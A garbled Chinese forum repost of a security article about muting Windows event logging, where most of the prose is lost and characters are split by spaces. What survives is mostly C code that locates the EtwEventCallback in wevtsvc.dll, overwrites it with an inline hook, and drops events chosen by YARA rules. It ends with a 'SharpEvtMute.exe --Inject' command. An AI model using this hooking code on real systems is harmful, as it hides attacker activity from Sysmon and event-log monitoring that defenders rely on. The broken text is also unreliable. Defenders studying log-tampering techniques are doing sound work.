[15926] 2020-10-04_安全研究YARA规则阻止Windows事件日志记录

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-10-04_安全研究YARA规则阻止Windows事件日志记录   |   Y A R A W i n d o w s A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 0 4 W i n d o w s S y s m o n @ h l l d z I n v o k e - P h a n t 0 m W i n d o w s w e v t s v c . d l l 线 w e v t s v c . d l l 线 I n v o k e - P h a n t 0 m w e v t s v c . d l l O p e n T r a c e W O p e n T r a c e W 使 E V E N T _ T R A C E _ L O G F I L E W E v e n t R e c o r d C a l l b a c k 使 w i n d b g w e v t s v c ! E t w E v e n t C a l l b a c k E v e n t C a l l b a c k :
w e v t s v c ! E t w E v e n t C a l l b a c k E V E N T _ R E C O R D E V E N T _ H E A D E R w i n d b g G U I D G U I D 使 l o g m a n . e x e M i c r o s o f t - W i n d o w s - S y s m o n r e t 7 : 0 1 7 : 0 4 t y p e d e f   s t r u c t   _ E V E N T _ R E C O R D   {     E V E N T _ H E A D E R                                           E v e n t H e a d e r ;     E T W _ B U F F E R _ C O N T E X T                               B u f f e r C o n t e x t ;     U S H O R T                                                       E x t e n d e d D a t a C o u n t ;     U S H O R T                                                       U s e r D a t a L e n g t h ;     P E V E N T _ H E A D E R _ E X T E N D E D _ D A T A _ I T E M   E x t e n d e d D a t a ;     P V O I D                                                         U s e r D a t a ;     P V O I D                                                         U s e r C o n t e x t ; }   E V E N T _ R E C O R D ,   * P E V E N T _ R E C O R D ;
r e t P o C w e v t s v c ! E t w E v e n t C a l l b a c k w e v t s v c . d l l d w B a s e 使 w i n d b g w e v t s v c . d l l 0 x f f f f f 4 8 8 3 e c 3 8 4 c 8 b 0 d D W O R D _ P T R   d w B a s e ; D W O R D           i ,   d w S i z e N e e d e d ; H M O D U L E       h M o d u l e s [ 1 0 2 4 0 0 ] ; T C H A R           s z M o d u l e [ M A X _ P A T H ] ; i f   ( E n u m P r o c e s s M o d u l e s ( G e t C u r r e n t P r o c e s s ( ) ,   h M o d u l e s ,   s i z e o f ( h M o d u l e s ) ,   & d w S i z e N e e d e d ) ) {         f o r   ( i n t   i   =   0 ;   i   <   ( d w S i z e N e e d e d   /   s i z e o f ( H M O D U L E ) ) ;   i + + )         {                 Z e r o M e m o r y ( ( P V O I D ) s z M o d u l e ,   M A X _ P A T H ) ;                 i f   ( G e t M o d u l e B a s e N a m e A ( G e t C u r r e n t P r o c e s s ( ) ,   h M o d u l e s [ i ] ,   ( L P S T R ) s z M o d u l e ,   s i z e o f ( s z M o d u l e )   /   s i z e o f ( T C H A R ) ) )                 {                         i f   ( ! s t r c m p ( " w e v t s v c . d l l " ,   ( c o n s t   c h a r * ) s z M o d u l e ) )                         {                                 d w B a s e   =   ( D W O R D _ P T R ) h M o d u l e s [ i ] ;                         }                 }         } } # d e f i n e   P A T T E R N   " x 4 8 x 8 3 x e c x 3 8 x 4 c x 8 b x 0 d "
m e m c p y 便 使 t y p e d e f t D W O R D   i ; L P V O I D   l p C a l l b a c k O f f s e t ; f o r   ( i   =   0 ;   i   <   0 x f f f f f ;   i + + ) {         i f   ( ! m e m c m p ( ( P V O I D ) ( d w B a s e   +   i ) ,   ( u n s i g n e d   c h a r * ) P A T T E R N ,   s t r l e n ( P A T T E R N ) ) )         {                 l p C a l l b a c k O f f s e t   =   ( L P V O I D ) ( d w B a s e   +   i ) ;         } } m e m c p y ( O r i g i n a l B y t e s ,   l p C a l l b a c k O f f s e t ,   5 0 ) ; E t w E v e n t C a l l b a c k E t w C a l l b a c k H o o k V O I D   H o o k E t w C a l l b a c k ( ) {         D W O R D   o l d P r o t e c t ,   o l d O l d P r o t e c t ;         u n s i g n e d   c h a r   b o i n g [ ]   =   {   0 x 4 9 ,   0 x b b ,   0 x d e ,   0 x a d ,   0 x c 0 ,   0 x d e ,   0 x d e ,   0 x a d ,   0 x c 0 ,   0 x d e ,   0 x 4 1 ,   0 x f f ,   0 x e 3   } ;         * ( v o i d   * * ) ( b o i n g   +   2 )   =   & E t w C a l l b a c k H o o k ;         V i r t u a l P r o t e c t ( l p C a l l b a c k O f f s e t ,   1 3 ,   P A G E _ E X E C U T E _ R E A D W R I T E ,   & o l d P r o t e c t ) ;         m e m c p y ( l p C a l l b a c k O f f s e t ,   b o i n g ,   s i z e o f ( b o i n g ) ) ;         V i r t u a l P r o t e c t ( l p C a l l b a c k O f f s e t ,   1 3 ,   o l d P r o t e c t ,   & o l d O l d P r o t e c t ) ;         r e t u r n ; } y p e d e f   V O I D ( W I N A P I   *   E t w E v e n t C a l l b a c k _ )   ( E V E N T _ R E C O R D   * E v e n t R e c o r d ) ; V O I D   D o O r i g i n a l E t w C a l l b a c k (   E V E N T _ R E C O R D   * E v e n t R e c o r d   ) {         D W O R D   d w O l d P r o t e c t ;         V i r t u a l P r o t e c t ( l p C a l l b a c k O f f s e t ,   s i z e o f ( O r i g i n a l B y t e s ) ,   P A G E _ E X E C U T E _ R E A D W R I T E ,   & d w O l d P r o t e c t ) ;         m e m c p y ( l p C a l l b a c k O f f s e t ,   O r i g i n a l B y t e s ,   s i z e o f ( O r i g i n a l B y t e s ) ) ;         V i r t u a l P r o t e c t ( l p C a l l b a c k O f f s e t ,   s i z e o f ( O r i g i n a l B y t e s ) ,   d w O l d P r o t e c t ,   & d w O l d P r o t e c t ) ;         E t w E v e n t C a l l b a c k _   E t w E v e n t C a l l b a c k   =   ( E t w E v e n t C a l l b a c k _ ) l p C a l l b a c k O f f s e t ;
E T W w i n d b g : Y A R A Y A R A Y R R u l e s S c a n M e m 使         E t w E v e n t C a l l b a c k ( E v e n t R e c o r d ) ;         H o o k E t w C a l l b a c k ( ) ; } # d e f i n e   R U L E _ A L L O W _ A L L   " r u l e   A l l o w   {   c o n d i t i o n :   f a l s e   } " Y R I n i t a l i z e ( ) ; R t l C o p y M e m o r y ( c R u l e ,   R U L E _ A L L O W _ A L L ,   s t r l e n ( R U L E _ A L L O W _ A L L ) ) ; i f   ( Y R C o m p i l e r C r e a t e ( & y r C o m p i l e r )   ! =   E R R O R _ S U C C E S S ) {     r e t u r n   - 1 ; } i f   ( Y R C o m p i l e r A d d S t r i n g ( y r C o m p i l e r ,   c R u l e ,   N U L L )   ! =   E R R O R _ S U C C E S S )
Y A R A S t r i n g B u f f e r Y A R A T o R e p o r t O r N o t T o R e p o r t T h a t I s T h e Q u e s t i o n d w R e p o r t 0 1 P I P E _ N A M E E v t M u t e H o o k . d l l 使 {     r e t u r n   - 1 ; } Y R C o m p i l e r G e t R u l e s ( y r C o m p i l e r ,   & y r R u l e s ) ; I N T   T o R e p o r t O r N o t T o R e p o r t T h a t I s T h e Q u e s t i o n (   Y R _ S C A N _ C O N T E X T *   C o n t e x t ,         I N T   M e s s a g e ,         P V O I D   p M e s s a g e D a t a ,         P V O I D   p U s e r D a t a ) {         i f   ( M e s s a g e   = =   C A L L B A C K _ M S G _ R U L E _ M A T C H I N G )         {                 ( * ( i n t * ) p U s e r D a t a )   =   1 ;         }         i f   ( M e s s a g e   = =   C A L L B A C K _ M S G _ R U L E _ N O T _ M A T C H I N G )         {                 ( * ( i n t * ) p U s e r D a t a )   =   0 ;         }         r e t u r n   C A L L B A C K _ C O N T I N U E ; } Y R R u l e s S c a n M e m ( y r R u l e s ,   ( u i n t 8 _ t * ) S t r i n g B u f f e r ,   s t r l e n ( S t r i n g B u f f e r ) ,   0 ,   T o R e p o r t O r N o t T o R e p o r t T h a t I s T h e Q u e s t i o n ,   & d w R e p o r t ,   0 ) ; i f   ( d w R e p o r t   = =   0 ) {         i f   ( s t r s t r ( S t r i n g B u f f e r ,   P I P E _ N A M E )   = =   N U L L )         {                 D o O r i g i n a l E t w C a l l b a c k ( E v e n t R e c o r d ) ;         } }
使 Y A R A r u l e   d i s a b l e   {   c o n d i t i o n :   t r u e   } . S h a r p E v t M u t e . e x e   - - I n j e c t

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则